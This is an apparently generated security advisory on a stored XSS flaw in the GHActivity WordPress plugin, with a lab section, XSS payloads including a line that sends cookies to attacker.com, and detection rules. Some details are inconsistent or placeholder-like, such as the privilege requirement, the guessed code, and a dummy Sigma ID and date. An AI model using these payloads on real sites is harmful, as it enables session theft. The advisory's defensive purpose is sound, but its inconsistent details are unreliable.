CVE-2024-43949

Executive Summary

CVE-2024-43949 is a Stored Cross-Site Scripting (XSS) vulnerability in the Automattic GHActivity plugin for WordPress, affecting versions up to and including 2.0.0-alpha. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into the GHActivity widget, which is then executed in the browsers of other users viewing the affected page. The CVSS score is 6.5 (Medium), with a vector emphasizing low attack complexity and a requirement for user interaction. No public exploit code or proof-of-concept has been released, and the vendor has not provided a patch. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is developed by Automattic, the company behind WordPress.com. The lack of a patch and the alpha status of the latest version suggest the plugin may be in an unstable or unsupported state. Users should consider removing or replacing the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need authentication to trigger the stored XSS, but they need to be able to inject the payload (e.g., via a comment or post).
• User Interaction (UI): Required – The victim must visit the page containing the malicious payload.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for widespread use of the plugin in WordPress sites elevate the risk. However, the low EPSS score suggests active exploitation is unlikely.

Deep Dive & Mechanics

The GHActivity plugin displays GitHub activity (e.g., commits, issues) on a WordPress site. The vulnerability lies in the improper neutralization of user-supplied input when generating the widget's HTML output. An attacker with the ability to contribute content (e.g., via comments, posts, or custom fields) can inject malicious JavaScript code. This code is stored in the database and executed when the widget is rendered for other users.

The root cause is a failure to sanitize or escape output that includes user-controlled data, such as commit messages, usernames, or repository names fetched from GitHub. If an attacker can control any of these fields (e.g., by creating a malicious GitHub repository or manipulating a webhook), the injected script will be executed in the context of the WordPress site.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable version likely uses a function like echo or print without proper escaping:

Vulnerable (PHP):

function display_gh_activity($activity) {
    echo '<div class="gh-activity">' . $activity['message'] . '</div>';
}

Patched (PHP):

function display_gh_activity($activity) {
    echo '<div class="gh-activity">' . esc_html($activity['message']) . '</div>';
}

The patched version uses esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team

1. Setup: Install WordPress with GHActivity plugin version 2.0.0-alpha on a local server (e.g., using Docker).
2. Reconnaissance: Identify a page where the GHActivity widget is displayed and where user input is reflected (e.g., a comment form or custom post type).
3. Payload Injection: Submit a comment or post containing the following payload in a field that is displayed by the widget:

   <script>alert('XSS')</script>
   

4. Trigger: Visit the page as an administrator or other user to see the alert box.
5. Advanced Payload: For session hijacking:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

Blue Team

1. Detection: Monitor for unusual JavaScript execution or outbound connections from the WordPress admin area.
2. Mitigation: Disable the GHActivity plugin immediately. If it must be used, implement a Web Application Firewall (WAF) rule to block <script> tags in user input.
3. Forensics: Check the database for injected scripts in the wp_posts and wp_comments tables. Look for entries containing <script> tags.
4. User Education: Advise users not to click on suspicious links or visit untrusted pages.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available – plugin files may vary)
• Network Indicators: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Log Entries: Unusual wp_remote_get calls to GitHub API endpoints with malicious parameters.
• Database Entries: Rows in wp_posts or wp_comments containing <script> tags or encoded JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_43949_GHActivity_XSS {
    meta:
        description = "Detects stored XSS payloads targeting GHActivity plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-43949"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $ghactivity_ref = /ghactivity/i
    condition:
        $xss_payload and $ghactivity_ref
}

Sigma Rule

title: Stored XSS via GHActivity Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in WordPress GHActivity plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '/wp-content/plugins/ghactivity/'
        sc-status: 200
        cs-method: 'POST'
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin area
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-43949 - GHActivity Stored XSS Attempt";
    flow:to_server,established;
    content:"/wp-content/plugins/ghactivity/"; http_uri;
    content:"<script"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Disable and remove the GHActivity plugin from all WordPress installations.
2. Alternative: Use a different plugin for displaying GitHub activity that is actively maintained and patched.
3. Code Fix: If you must continue using the plugin, apply the following patch to the plugin's PHP files:
   • Locate all instances where user input is echoed without escaping.
   • Wrap output in esc_html() or wp_kses_post() as appropriate.
4. WAF Rule: Add a rule to block requests containing <script in POST data to WordPress admin pages.
5. Monitoring: Enable logging for all POST requests to WordPress and review for suspicious payloads.

Report generated by Valters IT DevSecOps & CTI Division